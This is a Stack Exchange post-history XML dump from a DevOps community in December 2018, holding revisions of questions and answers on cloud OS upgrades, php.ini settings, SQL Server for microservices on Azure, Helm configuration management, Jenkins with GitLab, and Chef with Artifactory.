  <row Id="17776" PostHistoryTypeId="5" PostId="5584" RevisionGUID="f46c8408-dd72-4fa8-8a2a-d4e6fc6869fe" CreationDate="2018-12-01T09:07:49.220" UserId="6375" Comment="Modify content" Text="I desire a cloud technology that will redundant my need of using Vagrant to continuously integrate OS release upgrades (say from Ubuntu 18.04 to 20.04 including all software installed by `apt-get` --- assuming it will be supported in the next release) and will also redundant my need of using Ansible for web server upgrades (say from Apache 2.4 to Apache 3.4, including automatic changes to all virtual host files --- if any will be necessary).&#xD;&#xA;&#xD;&#xA;## Technologies I found so far&#xD;&#xA;&#xD;&#xA;**1. Minimally controlled cloud:** The user is provided with an OS, DNS zone management tool, bypass console and some more possible tools while the user adds the rest by itself (examples: Digital Ocean, Linode and so forth).&#xD;&#xA;&#xD;&#xA;**2. Maximally controlled cloud:** Either the user or the company provides the OS, DNS zone management tool, bypass console and some more possible tools while the user adds the rest by itself (examples: Microsoft Azure, Amazon Web Services (AWS), Google Cloud Platform (GCP) and so forth).&#xD;&#xA;&#xD;&#xA;I understand that using the VA stack (Vagrant-Ansible) could indeed give me just that, but I fear I might be wrong and will be very disappointed and will also lose money - VA stack might require a significantly higher pricing than my 20-30$ (USD) budget.&#xD;&#xA;&#xD;&#xA;## My question&#xD;&#xA;&#xD;&#xA;Is there any cloud hosting technology that will suit my needs without me needing to use Vagrant or Ansible for constantly upgrading the OS and web server?&#xD;&#xA;&#xD;&#xA;Maybe the true solution will be to change attitude --- starting to work with Arch Linux where system upgrades including release upgrades are of the &quot;rolling upgrade model&quot;, coming in &quot;bits by bits&quot; through time and are usually never &quot;major&quot;, and maybe also finding another web server with similar upgrade model?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17777" PostHistoryTypeId="4" PostId="5584" RevisionGUID="f46c8408-dd72-4fa8-8a2a-d4e6fc6869fe" CreationDate="2018-12-01T09:07:49.220" UserId="6375" Comment="Modify content" Text="A cloud technology with automatic upgrades of my OS-release and web server release?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17778" PostHistoryTypeId="24" PostId="5584" RevisionGUID="f46c8408-dd72-4fa8-8a2a-d4e6fc6869fe" CreationDate="2018-12-01T09:07:49.220" Comment="Proposed by 6375 approved by -1 edit id of 871" ContentLicense="CC BY-SA 4.0" />
  <row Id="17779" PostHistoryTypeId="5" PostId="5584" RevisionGUID="9e0d1941-ec39-4be1-8d3e-54870bbe7f5d" CreationDate="2018-12-01T09:07:49.220" UserDisplayName="user5176" Comment="Modify content" Text="I desire a cloud technology that will redund my need of using Vagrant to continuously integrate OS release upgrades (say from Ubuntu 18.04 to 20.04 including all software installed by `apt-get` --- assuming it will be supported in the next release) and will also redund my need of using Ansible for web server upgrades (say from Apache 2.4 to Apache 3.4, including automatic changes to all virtual host files --- if any will be necessary).&#xD;&#xA;&#xD;&#xA;## Technologies I found so far&#xD;&#xA;&#xD;&#xA;**1. Minimally controlled cloud:** The user is provided with an OS, DNS zone management tool, bypass console and some more possible tools while the user adds the rest by itself (examples: Digital Ocean, Linode and so forth).&#xD;&#xA;&#xD;&#xA;**2. Maximally controlled cloud:** Either the user or the company provides the OS, DNS zone management tool, bypass console and some more possible tools while the user adds the rest by itself (examples: Microsoft Azure, Amazon Web Services (AWS), Google Cloud Platform (GCP) and so forth).&#xD;&#xA;&#xD;&#xA;I understand that using the VA stack (Vagrant-Ansible) could indeed give me just that, but I fear I might be wrong and will be very disappointed and will also lose money - VA stack might require a significantly higher pricing than my 20-30$ (USD) budget.&#xD;&#xA;&#xD;&#xA;## My question&#xD;&#xA;&#xD;&#xA;Is there any cloud hosting technology that will suit my needs without me needing to use Vagrant or Ansible for constantly upgrading the OS and web server?&#xD;&#xA;&#xD;&#xA;Maybe the true solution will be to change attitude --- starting to work with Arch Linux where system upgrades including release upgrades are of the &quot;rolling upgrade model&quot;, coming in &quot;bits by bits&quot; through time and are usually never &quot;major&quot;, and maybe also finding another web server with similar upgrade model?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17780" PostHistoryTypeId="50" PostId="4508" RevisionGUID="197b3872-3d81-4730-97a9-c859bf532990" CreationDate="2018-12-01T10:00:55.143" UserId="-1" />
  <row Id="17781" PostHistoryTypeId="5" PostId="5487" RevisionGUID="d9ca2e34-ca81-4023-bbb6-3387f573112e" CreationDate="2018-12-01T11:41:38.757" UserDisplayName="user5176" Comment="added 295 characters in body" Text="Is there a `php` (or `composer`) terminal command to change the `php.ini` variables `upload_max_filesize` and `post_max_size from terminal` to some value directly from terminal, without `sed` or `awk` operations?&#xD;&#xA;&#xD;&#xA;The reason; having a more a version-agnostic and more backward-compatible directive in my server-environment-establishment script, to change the values of these two variables.&#xD;&#xA;&#xD;&#xA;## Update&#xD;&#xA;&#xD;&#xA;If I'm not wrong utilizing the [confd][1] CM (supported in PHP &gt;= 5.0) should be good (I can't test right now):&#xD;&#xA;&#xD;&#xA;**1.** Create something like `/etc/php7/conf.d/local.ini`.&#xD;&#xA;&#xD;&#xA;**2.** Add to it:&#xD;&#xA;&#xD;&#xA;    upload_max_filesize = 2000M&#xD;&#xA;    post_max_size = 2000M&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.confd.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="17785" PostHistoryTypeId="50" PostId="4584" RevisionGUID="9939fca1-12a6-438c-8143-efeef995f9ef" CreationDate="2018-12-01T16:02:55.590" UserId="-1" />
  <row Id="17787" PostHistoryTypeId="50" PostId="4058" RevisionGUID="c187ec8d-6fdb-4ed1-80fa-764cc0a2cf4e" CreationDate="2018-12-01T22:00:55.130" UserId="-1" />
  <row Id="17791" PostHistoryTypeId="34" PostId="5458" RevisionGUID="3eec8217-debb-41e2-a779-c368c223196b" CreationDate="2018-12-02T04:03:00.310" UserId="-1" Comment="31" />
  <row Id="17798" PostHistoryTypeId="2" PostId="5590" RevisionGUID="23e159f3-3b3b-4e08-a453-11142115fadd" CreationDate="2018-12-02T08:51:02.157" UserId="10599" Text="**Short answer:** &#xD;&#xA;&#xD;&#xA;If you were to modify the design to say &quot;Azure SQL&quot; for each microservice then it would look okay to me. Each microservice can have its own separate Azure SQL database instance (likely running on a shared cluster but that is invisible to you). To move it on-prem later you can decide if you want to build an &quot;Azure SQL-like&quot; setup on kubernetes or simply run a traditional SQL Server cluster on-prem. Using Azure SQL doesn't lock your architecture into Azure as you can move to AWS which has &quot;Amazon RDS for SQL Server&quot;. Every serious cloud provider will offer a professionally managed database service for all the major databases. &#xD;&#xA;&#xD;&#xA;**Long answer:**&#xD;&#xA;&#xD;&#xA;MS SQL Server requires a huge amount of memory compared to opensource databases or stateless application services. It also requires software licences (we will look at optimising that below). So it may be the case that it simply isn't particularly cost-effective to run one physical instance per service when you could run one private database per service hosted on a shared SQL Server cluster. Better yet use Azure SQL the managed database as a service version of SQL Server. That doesn't lock them into Azure as you can move to AWS which has &quot;Amazon RDS for SQL Server&quot;. Every serious cloud provider will offer a professionally managed database service for all the major databases. &#xD;&#xA;&#xD;&#xA;Also as you point out running a database in the same kubernetes pod as your application server code won't allow you to scale them independently. Also, stateless application servers can run on pods that have no persistent storage. Then stateless application servers can die and be restarted at will and moved between cloud availability zones trivially. Obviously, databases need persistent storage that is &quot;owned&quot; by pod. So a database needs a persistent volume claim. If you want them to run with high availability you need them to run as a stateful set. Running the database in the same pod as the application server is something that a developer might run locally, but I wouldn't recommend it for SQL Server, as it starts up 10x slower than your code. Rather on a mac laptop run the SQL Server docker image exposing its port. On a windows laptop run SQL Server Express natively. &#xD;&#xA;&#xD;&#xA;It is considered a very standard architecture for each microservice has it's own logical (but not necessarily physical) database, but to run as a stateless service with many replicas, so that they can be scaled independently. Also Azure has very good support for Redis as a cache. It is therefore considered a standard architecture for each microservice to have its own logical private database, it's own private Redis cache, and many independently scaled pods. If you are renting Azure SQL and Azure Redis you don't get to choose how they run it physically. And why would you want to? Let the professionals figure out how to run a relienant setup that has high performance that you can &quot;pay for what you use&quot; and focus on writing your business logic not on managing stateful services in the cloud that you can easily rent. &#xD;&#xA;&#xD;&#xA;I have seen developers running MS SQL Server Express locally on their laptop to debug and unit test, then deploy to Kubernetes on Azure where the microservices databases are all running on Azure SQL. I have also seen teams run against Azure SQL in production, but test against SQL Server setup on plain VMs in Azure. Why? Because Azure SQL only comes with &quot;production pricing&quot;. That organisation already had SQL Server on-prem and DBAs so it was cheaper for them to install and run SQL Server on VMs in Azure to host the test envs. All the microservices had their own private databases. In test those per microservice database where on a shared SQL Server instance on VMs with a two node cluster for resilience. In production the per microservices instances were all on Azure SQL for high performance and high avaiability, likely running a shared cluster that is hidden from the customer. " ContentLicense="CC BY-SA 4.0" />
  <row Id="17799" PostHistoryTypeId="5" PostId="5590" RevisionGUID="2385d4a6-ca97-49fd-8b94-12af7cf4a2bb" CreationDate="2018-12-02T09:07:20.913" UserId="10599" Comment="added 141 characters in body; added 5 characters in body; deleted 40 characters in body" Text="I could talk a lot about the architecture yet this is a devops community so I will addresses your main concern about running the database only. &#xA;&#xA;**Short answer:** &#xD;&#xA;&#xD;&#xA;If you were to modify the design to say &quot;Azure SQL&quot; for each microservice then it would look okay to me. Each microservice can have its own separate Azure SQL database instance (likely running on a shared cluster but that is invisible to you). To move it on-prem later you can decide if you want to build an &quot;Azure SQL-like&quot; setup on kubernetes or simply run a traditional SQL Server cluster on-prem. Using Azure SQL doesn't lock your architecture into Azure as you can move to AWS which has &quot;Amazon RDS for SQL Server&quot;. Every serious cloud provider will offer a professionally managed database service for all the major databases. &#xD;&#xA;&#xD;&#xA;**Long answer:**&#xD;&#xA;&#xD;&#xA;MS SQL Server requires a huge amount of memory compared to opensource databases or stateless application services. It also requires software licences (we will look at optimising cost below). So it may be the case that it simply isn't particularly cost-effective. You could license one SQLServer instance and run many per-service private databases on it. Better yet use Azure SQL the managed database as a service version of SQL Server. That doesn't lock them into Azure as you can move to AWS which has &quot;Amazon RDS for SQL Server&quot;. Every serious cloud provider will offer a professionally managed database service for all the major databases. &#xD;&#xA;&#xD;&#xA;Also as you point out running a database in the same kubernetes pod as your application server code won't allow you to scale them independently. Also, stateless application servers can run on pods that have no persistent storage. Then stateless application servers can die and be restarted at will and moved between cloud availability zones trivially. Obviously, databases need persistent storage that is &quot;owned&quot; by pod. So a database needs a persistent volume claim. If you want them to run with high availability you need them to run as a stateful set. Running the database in the same pod as the application server is something that a developer might run locally, but I wouldn't recommend it for SQL Server, as it starts up 10x slower than your code. Rather on a mac laptop run the SQL Server docker image exposing its port. On a windows laptop run SQL Server Express natively. &#xD;&#xA;&#xD;&#xA;It is considered a very standard architecture for each microservice has it's own logical (but not necessarily physical) database, but to run as a stateless service with many replicas, so that they can be scaled independently. Also Azure has very good support for Redis as a cache. It is therefore considered a standard architecture for each microservice to have its own logical private database, it's own private Redis cache, and many independently scaled pods. If you are renting Azure SQL and Azure Redis you don't get to choose how they run it physically. And why would you want to? Let the professionals figure out how to run a relienant setup that has high performance that you can &quot;pay for what you use&quot; and focus on writing your business logic not on managing stateful services in the cloud that you can easily rent. &#xD;&#xA;&#xD;&#xA;I have seen developers running MS SQL Server Express locally on their laptop to debug and unit test, then deploy to Kubernetes on Azure where the microservices databases are all running on Azure SQL. I have also seen teams run against Azure SQL in production, but test against SQL Server setup on plain VMs in Azure. Why? Because Azure SQL only comes with &quot;production pricing&quot;. That organisation already had SQL Server on-prem and DBAs so it was cheaper for them to install and run SQL Server on VMs in Azure to host the test envs. All the microservices had their own private databases. In test those per microservice database where on a shared SQL Server instance on VMs with a two node cluster for resilience. In production the per microservices instances were all on Azure SQL for high performance and high avaiability, likely running a shared cluster that is hidden from the customer. " ContentLicense="CC BY-SA 4.0" />
  <row Id="17800" PostHistoryTypeId="5" PostId="5590" RevisionGUID="0176ce1f-23bc-4ddb-8c1e-14a67dd35027" CreationDate="2018-12-02T09:13:38.733" UserId="10599" Comment="added 40 characters in body" Text="I could talk a lot about the architecture yet this is a devops community so I will addresses your main concern about running the database only. &#xA;&#xA;**Short answer:** &#xD;&#xA;&#xD;&#xA;If you were to modify the design to say &quot;Azure SQL&quot; for each microservice then it would look okay to me. Each microservice can have its own separate Azure SQL database instance (likely running on a shared cluster but that is invisible to you). To move it on-prem later you can decide if you want to build an &quot;Azure SQL-like&quot; setup on kubernetes or simply run a traditional SQL Server cluster on-prem. Using Azure SQL doesn't lock your architecture into Azure as you can move to AWS which has &quot;Amazon RDS for SQL Server&quot;. Every serious cloud provider will offer a professionally managed database service for all the major databases. &#xD;&#xA;&#xD;&#xA;**Long answer:**&#xD;&#xA;&#xD;&#xA;MS SQL Server requires a huge amount of memory compared to opensource databases or stateless application services. It also requires software licences (we will look at optimising cost below). So it may be the case that it simply isn't particularly cost-effective to run an licensed instance per service. You could license one SQLServer instance and run many per-service private databases on it. Better yet use Azure SQL the managed database as a service version of SQL Server. That doesn't lock them into Azure as you can move to AWS which has &quot;Amazon RDS for SQL Server&quot;. Every serious cloud provider will offer a professionally managed database service for all the major databases. &#xD;&#xA;&#xD;&#xA;Also as you point out running a database in the same kubernetes pod as your application server code won't allow you to scale them independently. Also, stateless application servers can run on pods that have no persistent storage. Then stateless application servers can die and be restarted at will and moved between cloud availability zones trivially. Obviously, databases need persistent storage that is &quot;owned&quot; by pod. So a database needs a persistent volume claim. If you want them to run with high availability you need them to run as a stateful set. Running the database in the same pod as the application server is something that a developer might run locally, but I wouldn't recommend it for SQL Server, as it starts up 10x slower than your code. Rather on a mac laptop run the SQL Server docker image exposing its port. On a windows laptop run SQL Server Express natively. &#xD;&#xA;&#xD;&#xA;It is considered a very standard architecture for each microservice has it's own logical (but not necessarily physical) database, but to run as a stateless service with many replicas, so that they can be scaled independently. Also Azure has very good support for Redis as a cache. It is therefore considered a standard architecture for each microservice to have its own logical private database, it's own private Redis cache, and many independently scaled pods. If you are renting Azure SQL and Azure Redis you don't get to choose how they run it physically. And why would you want to? Let the professionals figure out how to run a relienant setup that has high performance that you can &quot;pay for what you use&quot; and focus on writing your business logic not on managing stateful services in the cloud that you can easily rent. &#xD;&#xA;&#xD;&#xA;I have seen developers running MS SQL Server Express locally on their laptop to debug and unit test, then deploy to Kubernetes on Azure where the microservices databases are all running on Azure SQL. I have also seen teams run against Azure SQL in production, but test against SQL Server setup on plain VMs in Azure. Why? Because Azure SQL only comes with &quot;production pricing&quot;. That organisation already had SQL Server on-prem and DBAs so it was cheaper for them to install and run SQL Server on VMs in Azure to host the test envs. All the microservices had their own private databases. In test those per microservice database where on a shared SQL Server instance on VMs with a two node cluster for resilience. In production the per microservices instances were all on Azure SQL for high performance and high avaiability, likely running a shared cluster that is hidden from the customer. " ContentLicense="CC BY-SA 4.0" />
  <row Id="17801" PostHistoryTypeId="5" PostId="5590" RevisionGUID="c9650716-3a31-424a-8d80-da2b7f1f89bf" CreationDate="2018-12-02T09:19:41.383" UserId="10599" Comment="deleted 149 characters in body" Text="I could talk a lot about the architecture yet this is a devops community so I will addresses your main concern about running the database only. &#xA;&#xA;**Short answer:** &#xD;&#xA;&#xD;&#xA;If you were to modify the design to say &quot;Azure SQL&quot; for each microservice then it would look okay to me. Each microservice can have its own separate Azure SQL database instance (likely running on a shared cluster but that is invisible to you). To move it on-prem later you can decide if you want to build an &quot;Azure SQL-like&quot; setup on kubernetes or simply run a traditional SQL Server cluster on-prem. Using Azure SQL doesn't lock your architecture into Azure as I will discuss below.&#xD;&#xA;&#xD;&#xA;**Long answer:**&#xD;&#xA;&#xD;&#xA;MS SQL Server requires a huge amount of memory compared to opensource databases or stateless application services. It also requires software licences (we will look at optimising cost below). So it may be the case that it simply isn't particularly cost-effective to run an licensed instance per service. You could license one SQLServer instance and run many per-service private databases on it. Better yet use Azure SQL the managed database-as-a-service version of SQL Server. That doesn't lock them into Azure as you can move to AWS which has &quot;Amazon RDS for SQL Server&quot;. Every serious cloud provider will offer a professionally managed database service for all the major databases. &#xD;&#xA;&#xD;&#xA;Also as you point out running a database in the same kubernetes pod as your application server code won't allow you to scale them independently. Also, stateless application servers can run on pods that have no persistent storage. Then stateless application servers can die and be restarted at will and moved between cloud availability zones trivially. Obviously, databases need persistent storage that is &quot;owned&quot; by pod. So a database needs a persistent volume claim. If you want them to run with high availability you need them to run as a stateful set. Running the database in the same pod as the application server is something that a developer might run locally, but I wouldn't recommend it for SQL Server, as it starts up 10x slower than your code. Rather on a mac laptop run the SQL Server docker image exposing its port. On a windows laptop run SQL Server Express natively. &#xD;&#xA;&#xD;&#xA;It is considered a very standard architecture for each microservice has it's own logical (but not necessarily physical) database, but to run as a stateless service with many replicas, so that they can be scaled independently. Also Azure has very good support for Redis as a cache. It is therefore considered a standard architecture for each microservice to have its own logical private database, it's own private Redis cache, and many independently scaled pods. If you are renting Azure SQL and Azure Redis you don't get to choose how they run it physically. And why would you want to? Let the professionals figure out how to run a relienant setup that has high performance that you can &quot;pay for what you use&quot; and focus on writing your business logic not on managing stateful services in the cloud that you can easily rent. &#xD;&#xA;&#xD;&#xA;I have seen developers running MS SQL Server Express locally on their laptop to debug and unit test, then deploy to Kubernetes on Azure where the microservices databases are all running on Azure SQL. I have also seen teams run against Azure SQL in production, but test against SQL Server setup on plain VMs in Azure. Why? Because Azure SQL only comes with &quot;production pricing&quot;. That organisation already had SQL Server on-prem and DBAs so it was cheaper for them to install and run SQL Server on VMs in Azure to host the test envs. All the microservices had their own private databases. In test those per microservice database where on a shared SQL Server instance on VMs with a two node cluster for resilience. In production the per microservices instances were all on Azure SQL for high performance and high avaiability, likely running a shared cluster that is hidden from the customer. " ContentLicense="CC BY-SA 4.0" />
  <row Id="17802" PostHistoryTypeId="50" PostId="4453" RevisionGUID="92759a23-373d-4839-97be-dd3b21ff54cd" CreationDate="2018-12-02T11:01:45.307" UserId="-1" />
  <row Id="17803" PostHistoryTypeId="5" PostId="5580" RevisionGUID="43d0301c-8219-4099-9b59-000e187f8806" CreationDate="2018-12-02T15:24:07.007" UserId="10599" Comment="deleted 2 characters in body" Text="The [documentation][1] shows that you can have 40+ branches with different configurations. You express concern that the configuration becomes large. With a good editor that isn't really a problem. Yet that feels wrong, right?&#xD;&#xA;&#xD;&#xA;With git, in general, a repository per independent deployable works better than a single repository holding many independent deployables. So an alternative layout is not 1 repo with 40 branches, but 1+40 repos. That would be 1 repo that builds the latest code and [creates releases][2]. Then 40 repos that represent the configuration to deploy a particular release of the code configured for one website. The 40 repos that deploy the code can hold the 40 per-website configurations and a standardised build script that simply downloads the right release of the code to deploy along with the website configuration into the environment. &#xD;&#xA;&#xD;&#xA;We use 1+N+M git repos. We have 1 repo that holds the deploy scripts. They are versioned and released. We have N repos that build the different apps into releases. Currently, two php apps and two react apps that work together but are deployed and upgraded independently. Then M repos that represent the environments/sites we deploy into which is currently only staging and live. &#xD;&#xA;&#xD;&#xA;We are using k8s (OKD) and the deployment scripts are using helm. That just means that our deployment scripts and environment setup are simpler and rollback/downgrade is fully automated. We don't actually download the app to deploy during our build. Instead, we simply push out the docker registry tag of the version of the code we want to deploy into a given environment. &#xD;&#xA;&#xD;&#xA;I started a project to opensource our approach to deploying apps from git which is called [OCD][3]. It is still a work in progress but it demonstrates some of the above ideas. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/ci/environments.html&#xD;&#xA;  [2]: https://docs.gitlab.com/ee/workflow/releases.html&#xD;&#xA;  [3]: https://github.com/ocd-scm/ocd-meta/wiki" ContentLicense="CC BY-SA 4.0" />
  <row Id="17804" PostHistoryTypeId="50" PostId="4662" RevisionGUID="88e3a62b-3b0e-4e1c-a1bd-0df51cabeb69" CreationDate="2018-12-02T17:01:25.220" UserId="-1" />
  <row Id="17805" PostHistoryTypeId="5" PostId="5295" RevisionGUID="0e1f5aa3-08b5-4eb8-9619-5d3c95c67f24" CreationDate="2018-12-02T17:55:56.403" UserId="10599" Comment="added 135 characters in body" Text="**Edit**: what is described here looks like the default behaviour of https://github.com/roboll/helmfile mentioned in another answer  &#xA;&#xA;This is a bit of an alternative and indirect  answer. As it suggests using infrastructure-as-code best practices to avoid environments getting out of sync I believe people will find it a helpful alternative suggestion. &#xA;&#xA;Prevention is better than cure. Don't let the namespaces get out of sync by treating your configuration as code and manage it via git. [Helm][1] is a package manager for Kubernetes configuration. It can handle arbitrary configuration objects such as Openshift extensions. This let's you setup a deployment pipeline and a git workflow that ensures your environments stay in sync. &#xA;&#xA;By way of an example in our setup we have a Helm chart that just installs configmaps and another that just installs secrets. The actual values to install are passed in as a parameter like `my-app-secret-values.yaml`. So we have different yaml values all under git and a deploy script that iterates over them applying the helm chart that loads the values and updates the corresponding configmap or secret. Helm reads, compares, and only writes when something has changed. So the deploy script will result in only changing a secret or config map that has changed in git. All the configuration is under git and managed as code. Syncing configuration between environments can then be managed just like promotion of code. As a bonus helm createa a backup every version of every object it changes stored inside of Kubernetes. If let's you list the prior versions and rollback to a previous configuration. Also as everything is deployed from git all the history of all settings in all namespaces can be seen in git. &#xA;&#xA;We also install and run out main applications as traditional Helm charts that are promoted through environments. Those helm charts reference the configmaps and secrets that are separately deployed when we want to adjust the settings in a given environment. Helm also has dependency management features that we haven't had to use yet as things work well running a business using the approaches outlined above. &#xA;&#xA;  [1]: https://helm.sh" ContentLicense="CC BY-SA 4.0" />
  <row Id="17806" PostHistoryTypeId="5" PostId="5295" RevisionGUID="1909ec6f-d56f-4c76-b0e1-d4d78ab94309" CreationDate="2018-12-02T22:53:16.323" UserId="10599" Comment="added 161 characters in body" Text="**Edit**: The deploy script that is described here looks to implement something like [helmfile](https://github.com/roboll/helmfile) mentioned in another answer. We use generic charts that not only install apps but also generic charts that deploy secret or configmaps that configure our apps.&#xA;&#xA;This is a bit of an alternative and indirect  answer. Use infrastructure-as-code best practices to avoid environments getting out of sync. I believe people will find it a helpful alternative suggestion so a valid answer.&#xA;&#xA;Prevention is better than cure. Don't let the namespaces get out of sync by treating your configuration as code and manage it via git. [Helm][1] is a package manager for Kubernetes configuration. It can handle arbitrary configuration objects such as Openshift extensions. This let's you setup a deployment pipeline and a git workflow that ensures your environments stay in sync. &#xA;&#xA;By way of an example in our setup we have a Helm chart that just installs configmaps and another that just installs secrets. The actual values to install are passed in as a parameter like `my-app-secret-values.yaml`. So we have different yaml values all under git and a deploy script that iterates over them applying the helm chart that loads the values and updates the corresponding configmap or secret. Helm reads, compares, and only writes when something has changed. So the deploy script will result in only changing a secret or config map that has changed in git. All the configuration is under git and managed like code. Syncing configuration between environments can then be managed just like promotion of code. As a bonus helm creates a backup every version of every object it changes stored inside of Kubernetes. If let's you list the prior versions and rollback to a previous configuration. Also as everything is deployed from git all the history of all settings in all namespaces can be seen in git. &#xA;&#xA;We also install and run out main applications as traditional Helm charts that are promoted through environments. Those helm charts reference the configmaps and secrets that are separately deployed when we want to adjust the settings in a given environment. Helm also has dependency management features that we haven't had to use yet as things work well running a business using the approaches outlined above. &#xA;&#xA;  [1]: https://helm.sh" ContentLicense="CC BY-SA 4.0" />
  <row Id="17807" PostHistoryTypeId="50" PostId="4968" RevisionGUID="6b6bd127-4e1d-49a8-9109-76b76a19f6c4" CreationDate="2018-12-02T23:01:55.397" UserId="-1" />
  <row Id="17808" PostHistoryTypeId="50" PostId="4482" RevisionGUID="34884b45-2ddb-48d1-8ac1-3ccb76b82b58" CreationDate="2018-12-03T00:00:58.773" UserId="-1" />
  <row Id="17810" PostHistoryTypeId="50" PostId="5104" RevisionGUID="cc350923-3c14-44aa-ba08-8bba8f162955" CreationDate="2018-12-03T05:02:30.527" UserId="-1" />
  <row Id="17814" PostHistoryTypeId="50" PostId="4106" RevisionGUID="81106485-ff0d-41ff-abcb-ea30baf97759" CreationDate="2018-12-03T08:01:25.260" UserId="-1" />
  <row Id="17815" PostHistoryTypeId="2" PostId="5592" RevisionGUID="0f29326c-2935-4cb2-b9fa-73cd6065dd8e" CreationDate="2018-12-03T10:40:58.430" UserId="10793" Text="I have configured Jenkins Build Jobs and Deployment Jobs from using Jenkins shell. But I put all the commands in Shell to execute. Can I store those commands in GitLab and execute from jenkins?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17816" PostHistoryTypeId="1" PostId="5592" RevisionGUID="0f29326c-2935-4cb2-b9fa-73cd6065dd8e" CreationDate="2018-12-03T10:40:58.430" UserId="10793" Text="Run scripts which are stored in GitLab from Jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="17817" PostHistoryTypeId="3" PostId="5592" RevisionGUID="0f29326c-2935-4cb2-b9fa-73cd6065dd8e" CreationDate="2018-12-03T10:40:58.430" UserId="10793" Text="&lt;jenkins&gt;&lt;git&gt;&lt;gitlab&gt;&lt;github&gt;&lt;shell-script&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17818" PostHistoryTypeId="2" PostId="5593" RevisionGUID="f97c7d23-d3d4-4137-85cf-1858478f2bf7" CreationDate="2018-12-03T11:33:22.367" UserId="354" Text="If you are using Gitlab merely as a source code repository, and you are triggering the jobs when there are changes to the repository.&#xD;&#xA;&#xD;&#xA;The [Jenkins Gitlab plugin](https://plugins.jenkins.io/gitlab-plugin) documentations states:&#xD;&#xA;&#xD;&#xA;&gt; This plugin is a build trigger that allows GitLab to trigger Jenkins builds when code is pushed or a merge request is created. Configuration done on a per-job basis.&#xD;&#xA;&#xD;&#xA;So, you can trigger the builds. But to answer your question:&#xD;&#xA;&gt;  I put all the commands in Shell to execute. Can I store those commands in GitLab and execute from jenkins?&#xD;&#xA;&#xD;&#xA;The answer is **yes**, but there is some leeway. It depends on how you've configured the jobs. If they are freestyle jobs, have them execute a shell command running the script in your repository. You can do this via the web-interface the Jenkins job editor.&#xD;&#xA;&#xD;&#xA;However, I wouldn't recommend this as best practice. Instead, I would recommend having a pipeline description in the repository. See [the plugin docs on github](https://github.com/jenkinsci/gitlab-plugin#jenkins-job-configuration) for more details on configuration." ContentLicense="CC BY-SA 4.0" />
  <row Id="17819" PostHistoryTypeId="5" PostId="5295" RevisionGUID="020e898d-567f-43dd-9290-47724e3f0144" CreationDate="2018-12-03T12:10:25.560" UserId="10599" Comment="deleted 131 characters in body" Text="**Edit**: The deploy script that is described here looks to implement something like [helmfile](https://github.com/roboll/helmfile) mentioned in another answer.&#xA;&#xA;This is a bit of an alternative and indirect  answer. Use infrastructure-as-code best practices to avoid environments getting out of sync. I believe people will find it a helpful alternative suggestion so a valid answer.&#xA;&#xA;Prevention is better than cure. Don't let the namespaces get out of sync by treating your configuration as code and manage it via git. [Helm][1] is a package manager for Kubernetes configuration. It can handle arbitrary configuration objects such as Openshift extensions. This let's you setup a deployment pipeline and a git workflow that ensures your environments stay in sync. &#xA;&#xA;By way of an example in our setup we have a Helm chart that just installs configmaps and another that just installs secrets. The actual values to install are passed in as a parameter like `my-app-secret-values.yaml`. So we have different yaml values all under git and a deploy script that iterates over them applying the helm chart that loads the values and updates the corresponding configmap or secret. Helm reads, compares, and only writes when something has changed. So the deploy script will result in only changing a secret or config map that has changed in git. All the configuration is under git and managed like code. Syncing configuration between environments can then be managed just like promotion of code. As a bonus helm creates a backup every version of every object it changes stored inside of Kubernetes. If let's you list the prior versions and rollback to a previous configuration. Also as everything is deployed from git all the history of all settings in all namespaces can be seen in git. &#xA;&#xA;We also install and run out main applications as traditional Helm charts that are promoted through environments. Those helm charts reference the configmaps and secrets that are separately deployed when we want to adjust the settings in a given environment. Helm also has dependency management features that we haven't had to use yet as things work well running a business using the approaches outlined above. &#xA;&#xA;  [1]: https://helm.sh" ContentLicense="CC BY-SA 4.0" />
  <row Id="17820" PostHistoryTypeId="2" PostId="5594" RevisionGUID="95c4c2dc-8135-4819-b8e1-9966877c8cde" CreationDate="2018-12-03T14:48:06.883" UserId="11160" Text="There is a static Artifactory URL being used to grab a semantically versioned artifact and deploy it to JBoss.  The deployment aspect of the cookbook is already fleshed out.  However, I would like to make the URL &quot;dynamic&quot;.  In other words, get the most recently published artifact from Artifactory.&#xD;&#xA;&#xD;&#xA;**Example URL**&#xD;&#xA;https://myartifactory.com/releases/com/package/helloworld/1.0.0/helloworld-1.0.0.war&#xD;&#xA;&#xD;&#xA; A Jenkins pipeline exists for this artifact that deploys to Artifactory.  So, if 1.1.0 were to be released, it's URL would look like the following:&#xD;&#xA;&#xD;&#xA;**1.1.0 URL**&#xD;&#xA;https://myartifactory.com/releases/com/package/helloworld/1.1.0/helloworld-1.1.0.war&#xD;&#xA;&#xD;&#xA;You can see that the directory in Artifactory changes, as well as the name of the artifact.  How can I set up the cookbook to always grab the latest version from Artifactory?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17821" PostHistoryTypeId="1" PostId="5594" RevisionGUID="95c4c2dc-8135-4819-b8e1-9966877c8cde" CreationDate="2018-12-03T14:48:06.883" UserId="11160" Text="Cookbook get and set dynamic URL" ContentLicense="CC BY-SA 4.0" />
  <row Id="17822" PostHistoryTypeId="3" PostId="5594" RevisionGUID="95c4c2dc-8135-4819-b8e1-9966877c8cde" CreationDate="2018-12-03T14:48:06.883" UserId="11160" Text="&lt;chef&gt;&lt;artifactory&gt;&lt;curl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17823" PostHistoryTypeId="50" PostId="4695" RevisionGUID="34907dc2-1c61-48bc-a399-e3dd3d4ec192" CreationDate="2018-12-03T15:00:50.143" UserId="-1" />
